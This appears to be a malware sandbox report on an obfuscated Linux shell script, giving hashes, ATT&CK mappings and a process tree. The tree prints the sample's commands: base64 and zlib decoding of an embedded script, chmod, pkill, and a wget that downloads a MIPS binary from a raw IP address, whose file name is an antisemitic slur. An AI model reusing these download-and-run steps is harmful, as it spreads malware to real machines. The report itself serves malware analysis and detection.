feabe4a547a7c3cd983b520bbb9ef310ac29f17a7f7104c763f3a2e51b3b980e

Analysis

max time kernel
144s
max time network
145s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
13/09/2026, 17:45

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
f44f787ed1febf572ad6b20f972e31dba769b8d19e82b55dcbf251efa0ef47ee_pre-append.sh
Size 832KB
Sample260913-wbtafabl41
SHA256 feabe4a547a7c3cd983b520bbb9ef310ac29f17a7f7104c763f3a2e51b3b980e
MD5 e0b0af75fee943627db4a98487774a35
SHA1 484de72c9455efe45abcf65bfb9eae6520a2d855
SHA512 3647d94a1a71e988c32da61ce06e674400df8a6743031ee94b27dfbc87ae0d9acd177fd62b4625d4bc5f8c8dda8e6d80776f10bd0f6acd72970b5a3c981f903c
SSDEEP 24576:74Y/f/tir8ZLQbdyUHiw5y3dSkohUv2653DmIfkeM:R/o8ZatHiw5ycMVmKkeM
TLSH
T177052308F11B8C78ED4E3C8CE89EEBDD092520A28B55E1475A6534AE7E347DC807A75F
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
681	chmod

Enumerates running processes
Discovers information about currently running processes on the system

Deobfuscate/Decode Files or Information 1 TTPs 1 IoCs

Adversaries may deobfuscate or decode files or information to evade detection mechanisms.

defense_evasion

Deobfuscate/Decode Files or Information

T1140

pid	Process
665	base64

Reads CPU attributes 1 TTPs 1 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	pkill

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/276/status	pkill
File opened for reading	/proc/587/status	pkill
File opened for reading	/proc/648/status	pkill
File opened for reading	/proc/11/cmdline	pkill
File opened for reading	/proc/21/cmdline	pkill
File opened for reading	/proc/25/cmdline	pkill
File opened for reading	/proc/42/cmdline	pkill
File opened for reading	/proc/585/status	pkill
File opened for reading	/proc/25/status	pkill
File opened for reading	/proc/221/cmdline	pkill
File opened for reading	/proc/572/status	pkill
File opened for reading	/proc/572/cmdline	pkill
File opened for reading	/proc/15/cmdline	pkill
File opened for reading	/proc/28/status	pkill
File opened for reading	/proc/595/cmdline	pkill
File opened for reading	/proc/649/status	pkill
File opened for reading	/proc/11/status	pkill
File opened for reading	/proc/13/cmdline	pkill
File opened for reading	/proc/16/status	pkill
File opened for reading	/proc/22/cmdline	pkill
File opened for reading	/proc/83/cmdline	pkill
File opened for reading	/proc/318/cmdline	pkill
File opened for reading	/proc/10/cmdline	pkill
File opened for reading	/proc/24/cmdline	pkill
File opened for reading	/proc/26/cmdline	pkill
File opened for reading	/proc/279/status	pkill
File opened for reading	/proc/643/cmdline	pkill
File opened for reading	/proc/filesystems	pkill
File opened for reading	/proc/19/status	pkill
File opened for reading	/proc/27/status	pkill
File opened for reading	/proc/42/status	pkill
File opened for reading	/proc/309/cmdline	pkill
File opened for reading	/proc/326/cmdline	pkill
File opened for reading	/proc/651/status	pkill
File opened for reading	/proc/6/status	pkill
File opened for reading	/proc/12/status	pkill
File opened for reading	/proc/639/cmdline	pkill
File opened for reading	/proc/sys/kernel/osrelease	pkill
File opened for reading	/proc/10/status	pkill
File opened for reading	/proc/18/cmdline	pkill
File opened for reading	/proc/142/cmdline	pkill
File opened for reading	/proc/9/status	pkill
File opened for reading	/proc/22/status	pkill
File opened for reading	/proc/221/status	pkill
File opened for reading	/proc/283/status	pkill
File opened for reading	/proc/292/status	pkill
File opened for reading	/proc/8/cmdline	pkill
File opened for reading	/proc/17/cmdline	pkill
File opened for reading	/proc/20/status	pkill
File opened for reading	/proc/292/cmdline	pkill
File opened for reading	/proc/585/cmdline	pkill
File opened for reading	/proc/594/status	pkill
File opened for reading	/proc/14/status	pkill
File opened for reading	/proc/28/cmdline	pkill
File opened for reading	/proc/43/status	pkill
File opened for reading	/proc/286/status	pkill
File opened for reading	/proc/12/cmdline	pkill
File opened for reading	/proc/4/status	pkill
File opened for reading	/proc/5/status	pkill
File opened for reading	/proc/7/status	pkill
File opened for reading	/proc/146/status	pkill
File opened for reading	/proc/678/cmdline	pkill
File opened for reading	/proc/4/cmdline	pkill
File opened for reading	/proc/7/cmdline	pkill

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
684	pkill
685	wget

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/tmp.xx7RGPWBNI/embedded.sh	bash

/tmp/f44f787ed1febf572ad6b20f972e31dba769b8d19e82b55dcbf251efa0ef47ee_pre-append.sh
/tmp/f44f787ed1febf572ad6b20f972e31dba769b8d19e82b55dcbf251efa0ef47ee_pre-append.sh
1⤵
PID:651

/usr/local/sbin/bash
bash /tmp/f44f787ed1febf572ad6b20f972e31dba769b8d19e82b55dcbf251efa0ef47ee_pre-append.sh
1⤵
PID:651

/usr/local/bin/bash
bash /tmp/f44f787ed1febf572ad6b20f972e31dba769b8d19e82b55dcbf251efa0ef47ee_pre-append.sh
1⤵
PID:651

/usr/sbin/bash
bash /tmp/f44f787ed1febf572ad6b20f972e31dba769b8d19e82b55dcbf251efa0ef47ee_pre-append.sh
1⤵
PID:651

/usr/bin/bash
bash /tmp/f44f787ed1febf572ad6b20f972e31dba769b8d19e82b55dcbf251efa0ef47ee_pre-append.sh
1⤵
PID:651

/sbin/bash
bash /tmp/f44f787ed1febf572ad6b20f972e31dba769b8d19e82b55dcbf251efa0ef47ee_pre-append.sh
1⤵
PID:651

/bin/bash
bash /tmp/f44f787ed1febf572ad6b20f972e31dba769b8d19e82b55dcbf251efa0ef47ee_pre-append.sh
1⤵
- Writes file to tmp directory
PID:651
- /bin/mktemp
  mktemp -d
  2⤵
  PID:659
- /usr/bin/base64
  base64 -d
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:665
- /usr/bin/python3
  python3 -c " import sys import zlib sys.stdout.buffer.write( zlib.decompress( sys.stdin.buffer.read() ) ) "
  2⤵
  PID:666
- /bin/chmod
  chmod +x /tmp/tmp.xx7RGPWBNI/embedded.sh
  2⤵
  - File and Directory Permissions Modification
  PID:681

/bin/bash
bash /tmp/tmp.xx7RGPWBNI/embedded.sh
1⤵
PID:651
- /usr/bin/pkill
  pkill -9 fuckjewishpeople.mips
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:684
- /usr/bin/wget
  wget http://84.200.24.238/fuckjewishpeople.mips
  2⤵
  - System Network Configuration Discovery
  PID:685

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Deobfuscate/Decode Files or Information

T1140

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

embedded.sh

Path /tmp/tmp.xx7RGPWBNI/embedded.sh
Size 1KB
SHA256 f44f787ed1febf572ad6b20f972e31dba769b8d19e82b55dcbf251efa0ef47ee
MD5 40779ab5dec51fa2395261e81aa00c3c
SHA1 0235011e2d5e4473ad0219c0304db0ab205ceda2
SHA512 214744acc6017c2a48d65b1d39e30d985c0ca820de60828bb84721f52d37e7237e7d0a566cd18c369ea5bb2be42821d701363772d954ac19c0dbb88c02935d55
TLSH
T166414F4B73EBB731EEA2E972B494242023C6D185D4ED5F0CF6D835DDD0ADCA0636A581
MD5 SHA1 SHA512 TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads